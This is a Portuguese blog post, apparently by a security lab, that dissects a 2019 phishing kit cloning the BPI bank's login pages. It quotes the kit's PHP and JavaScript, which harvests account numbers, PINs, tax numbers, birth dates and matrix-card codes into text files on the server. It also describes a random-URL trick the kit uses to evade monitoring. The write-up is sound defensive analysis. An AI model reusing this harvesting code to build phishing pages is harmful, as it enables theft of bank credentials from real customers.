Modus operandi da campanha de phishing do BPI – os ficheiros maliciosos que suportam a campanha.

Durante 2019 foram alavancados inúmeros esquemas de phishing por agentes maliciosos envolvendo entidades bancárias em Portugal. Uma das últimas desta linha foi no dia 17 de dezembro de 2019, em que o BPI foi o principal alvo dos agentes de ameça.

Alerta: Novamente campanha fraudulenta do BPI em curso – É a segunda vez este mês de dezembro!

O backstage deste tipo de campanhas maliciosas

O SI-LAB analisou os ficheiros que suportaram esta campanha. Neste caso em concreto, um ficheiro compactado com toda a estrutura das landing pages maliciosas é deixado pelos criminosos no servidor comprometido e que irá albergar todo o esquema.

Figura 1: Bundle com todos os ficheiros que compõem o esquema malicioso.

Inicialmente, os agentes de ameça realizam uma cópia-clone offline dos ficheiros do servidor alvo e onde descarregam os recursos necessários para manter um conjunto de páginas HTML ativas e disponíveis num servidor Apache/PHP comprometido para hospedar as landing pages maliciosas.

Geralmente os ficheiros são do tipo HTML, CSS e JavaScript – a base para manter uma página de Internet funcional. Ficheiros PHP e trechos de código são depois definidos pelos criminosos para que dinamicamente possam recolher e guardar os detalhes introduzidos pelas vítimas.

Como pode ser observado na última publicação no blog respeitante ao caso do phishing do BPI, já não é a primeira vez que os agentes de ameça utilizam a ferramenta HTTrack Website Copier/3.x de forma a criarem uma cópia offline do website alvo. Essa referência pode ser observada na imagem abaixo (Figura 2), onde é também possível verificar a data de quando a cópia foi realizada (Sun, 08 Jul 2018 22:06:17 GMT).

Figura 2: Detalhe sobre o HTTrack Website Copier/3.x deixado nas páginas HTML do website malicioso.

<!-- Mirrored from www.bancobpi.pt/particulares by HTTrack Website Copier/3.x [XR&CO'2014], Sun, 08 Jul 2018 22:06:17 GMT -->

Como pode ser observado na imagem abaixo, os ficheiros relativos à campanha de phishing do BPI foram compactados num ficheiro ZIP pelo agente de ameaça no dia 5 de dezembro de 2019 às 01:48 da madrugada. Depois disso, o ficheiro ZIP está pronto a ser decompactado no servidor alvo, e a campanha inicia-se.

Figura 3: Ficheiros base do esquema.

Importa destacar a estrutura da campanha:

Diretoria BPINET: Ficheiros de suporte que recebem e guardam os detalhes introduzidos pela vítima em ficheiros de texto (.txt). Esta diretoria contém as libs para a versão web da landing page.
Diretoria m: Ficheiros de suporte que recebem e guardam os detalhes introduzidos pela vítima em ficheiros de texto recolhidos através da landing page mobile.
25444638.jpg: Mensagem deixada pelo agente de ameaça (uma imagem ofensiva e não apresentada nesta publicação).
Index.php e restantes ficheiros: Ficheiros core que suportam o website malicioso.

Página index.php

Figura 4: A landing-page inicial valida o tipo de dispositivo de onde a página é acedida pela vítima.

Esta é a primeira landing page da campanha. Tem como objetivo inicialmente obter o endereço de IP remoto da vítima, e gerar uma hash do tipo MD5 que serve para identificar a vítima durante todo o processo.

A vítima é então direcionada para a landing page mobile ou para a página “particulares.php” de acordo com o dispositivo de onde a vítima está a aceder ao serviço.

<?php 
  include('functions.php');

  $ip_usuario = @$_SERVER[REMOTE_ADDR];
  $hash = md5($ip_usuario);
?>

(...)

if (isMobile()) {
    window.location = "m/index.php";
} else {
  window.location = "particulares.php?hash=<?php echo $hash ?>&content=<?php echo geraURL(40); ?>";
}
</script>

Em detalhe, a função geraURL(40); cria uma sequência aleatória com números, letras e carateres em todas as páginas da campanha. Ela apenas é utilizada para gerar uma string aleatória de tamanho 40 que é utilizada para criar URLs suficientemente grandes e aleatórias, dificultando, assim, a sua deteção por parte de agentes de monitorização e correlação de tráfego de Internet.

Figura 5: Função para gerar uma string aleatória com tamanho 40.

Página particulares.php

Em semelhança à página index.php, aqui é uma vez mais obtido o endereço de IP da vítima e calculada a hash MD5. Este é um comportamento comum em todas as páginas do esquema.

Figura 6: Trecho de código PHP da página particulares.php.

Como forma de evitar acessos sem contexto, em todas as invocações a esta página é validado se o paramêtro “hash” existe. Caso contrário, é realizado um redirecionamento para o www.google.pt.

Apesar de o nome de algumas variáveis ao longo do código estarem codificadas em pt/br, o indicador do redirecionamento poderá ser suficiente para assumirmos que o autor desta campanha em específico é de origem portuguesa derivado ao TLD do Google aqui especificado (.pt).

No entanto, acreditamos que o código fonte raiz tenha origem brasileira, com base nos indicadores descritos ao longo desta publicação.

Ainda nesta página (particulares.php), o agente de ameça codificou o formulário onde a vítima introduz os detalhes relativos à sua conta BPINet.

Figura 6: Página particulares.php com o trecho de código PHP anexo ao formulário.

<form action="BPINET/Login.php?hash=<?php echo $hash ?>&content=<?php echo geraURL(40); ?>" id="login-users-form" method="POST" name="login-users-form" target="_blank">

O processo é similar àquele apresentado na página index.php. É invocada a página “Login.php“, e são enviados os paramêtros “hash” e “content“.

Em detalhe, é possível no inicio do ficheiro (Figura 6) ver a inclusão do ficheiro total_visitas.php (include(“total_visitas.php”);).

<?php
include "visitas.class.php";
$visitas = new visitas();
//echo $visitas->num_visitas;
?>

Este ficheiro, por sua vez, invoca uma classe denominada “new visitas();”, que está disponível num outro ficheiro “visitas.class.php“.

Figura 7: Código do ficheiro “visitas.class.php” responsável por manter o tracking de acessos à página do esquema malicioso.

O código já está comentado pelo próprio agente de ameça e dispensa qualquer tipo de explicação adicional. Ele mantém um historio de acessos ao serviço malicioso.

Ficheiro Login.php

Nesta página é obtido o número da conta para pré-preencher o formulário.

Figura 8: Landing page Login.php.

Como apresentado abaixo, o valor do número da conta é recolhido através da variável $username.

Figura 9: Trecho de código PHP da página Login.php.

O valor da variável é depois refletido no formulário presente na página Login.php (linha 268).

<form target="_parent" id="signOn" name="signOn" action="VerificaTelemovel.php?hash=<?php echo $hash ?>&content=<?php echo geraURL(40); ?>" 
    method="post" onsubmit="return WebForm_OnSubmit()">

<input class="TextBox" type="text" name="USERID" id="USERID" SIZE="15" placeholder="Nome / Nº Adesão" maxlength="20" autocomplete="off"
 tabindex="1" value="<?php echo $username; ?>"/>

Este formulário tem uma ação definida do tipo POST. Os novos detalhes da vítima são então enviados para a próxima página “VerificaTelemovel.php“.

Página VerificaTelemovel.php

Nesta nova página, são recebidos os valores $username e $password respeitantes ao número da conta do BPINet e respetivo código de acesso. Esses detalhes foram originalmente enviados da página Login.php (Figura 9).

Figura 10: Trecho de código PHP da página VerificaTelemovel.php.

Um detalhe a destacar é o “default_timezone_set(‘America/Sao_Paulo’);“. Este indicador poderá reforçar a hipótese já aqui mencionada sobre a origem do autor da ameaça.

Neste ficheiro são guardados os primeiros detalhes da vítima num ficheiro de texto no servidor.

(...)

$data = date('Y-m-d');
  $_msg = "Utilizador: ".$username."\n"; 
  $_msg .= "PIN: ".$password;
  
  $arquivo = "dados/".$ip_usuario."-".$data."(Utilizador).txt";
    
  $fh = fopen($arquivo, 'a') or die("can't open file"); // Abre arquivo para gravação
  fwrite($fh, $_msg); // Grava os dados da variavel $msg
  fclose($fh); // Fecha o arquivo

(...)

Os detalhes Utilizador (número da conta BPINet) e PIN (código de acesso) são guardados no ficheiro segundo esta estrutura: $data-atual + (Utilizador).txt, na diretoria “/dados“.

Esta metodologia permiti ao agente de ameça obter um tracking temporal de quando a vítima acedeu ao website, e guardar adequadamente os seus detalhes.

A diretoria BPINET sob analise possui os seguintes ficheiros, e onde importa descatar a diretoria “dados” onde são armazenados os detalhes das vítimas.

Figura 11: Conteúdo da diretoria BPINET.

Abaixo segue o exemplo da campanha já em curso com detalhes de uma das vítimas.

Figura 12: Detalhes do BPI de uma das vítimas do esquema.

Depois da vítima clicar no botão “Entrar“, é despoletada a ação do formulário, e este envia a vítima para a próxima página “VerificaCoordenadas.php“.

<form target="_parent" id="signOn" name="signOn" action="VerificaCoordenadas.php?hash=<?php echo $hash ?>&content=<?php 
echo geraURL(40); ?>" method="post" onsubmit="return WebForm_OnSubmit();">
<div class="aspNetHidden">
</div>



<script type="text/javascript">
//<![CDATA[
function WebForm_OnSubmit() {
var theForm = document.forms['signOn'];
  if (!theForm) {
    theForm = document.signOn;
  }
  

  if (theForm.telemovel.value.length == 0) {
    theForm.telemovel.focus();
        alert('Nº Telemóvel Inválido.');
    return false;
  }
  
  if (theForm.nif.value.length == 0) {
    theForm.nif.focus();
        alert('Nº Fiscal/Contribuinte Inválido.');
    return false;
  }
  
  if (theForm.nasc.value.length == 0) {
    theForm.nasc.focus();
        alert('Data de Nascimento Inválida.');
    return false;
  }
  theForm.submit();
}
//]]>
</script>

Página VerificaCoordenadas.php

Nesta landing page os dados “Telemovel“, “NIF” e “Data de Nascimento” são recolhidos e guardados num novo ficheiro denominado “$data-atual + (Telemovel).txt” dentro da diretoria “/dados“.

Figura 13: Detalhes PHP da página VerificaCoordenadas.php.

No formulário apresentado na landing page, a vítima é aliciada a introduzir os detalhes do seu cartão matriz.

Figura 14: Formulário que recebe os dados do cartão matriz introduzidos pela vítima.

O código referente ao formulário é o seguinte:

<form target="_parent" id="signOn" name="signOn" action="Sucesso.php?hash=<?php echo $hash ?>&content=<?php echo geraURL(40); ?>" method="post" onsubmit="return WebForm_OnSubmit();">
<div class="aspNetHidden">
</div>


<script type="text/javascript">
//<![CDATA[
function WebForm_OnSubmit() {
var theForm = document.forms['signOn'];
  if (!theForm) {
    theForm = document.signOn;
  }
  
  
  var err=0;
  var inputs = $('.number');

  for (var i = inputs.length - 1; i >= 0; i--) {
    
 			if (inputs[i].value == '') {
      err=1;
    };
  };

  if (err!=0) {
    theForm.n1.focus();
    alert('Preencha todos números e chaves do seu cartão.');	
    return false;
  };
  
  if (theForm.txtNumCartao.value.length == 0) {
    theForm.txtNumCartao.focus();
        alert('Número do Cartão Inválido.');
    return false;
  }
  
  theForm.submit();
}
//]]>
</script>

Após a função em javascript validar se os campos do cartão matriz não são vazios, então todos os detalhes são enviados para a página final “Sucesso.php”.

Página Sucesso.php

Esta é a última página presente no website da campanha fraudulenta. Quando esta página é despoletada, é percorrida a matriz onde estão armazenados os detalhes do cartão matriz da vítima, e todos os valores são mapeados para variável $table que é depois guardada na diretoria “/dados” no ficheiro com o seguinte nome: “$ip_usuario-$data-(Tabela).txt“.

Figura 15: Trecho de código do ficheiro Sucesso.php.

Segue um exemplo abaixo de um ficheiro com dados introduzidos aleatoriamente no website da campanha.

Figura 16: Ficheiro com dados fictícios e disponível na diretoria dados . Este servidor hospedava a campanha maliciosa.

Depois de comprometer um servidor na Internet, geralmente páginas web abandonadas ou CMS desatualizados e com vulnerabilidades conhecidas, os agentes de ameça lançam facilmente as suas campanhas maliciosas de phishing.

Os agentes de ameça visitam esse serviço de x em x tempo para recolher os ficheiros contidos na diretoria /dados, que possui todos os detalhes das vítimas – aquelas que inicialmente confiaram nesse serviço malicioso.

Finalmente os serviços legítimos são acedidos com os dados adquiridos durante a campanha maliciosa.

Para os utilizadores em geral: Se desconfiar do serviço que está prestes a utlizar, se recebeu um email ou SMS estranha, comunique e partilhe. A partilha não resolve os problemas/ameaças, mas irá ajudar certamente na sua mitigação.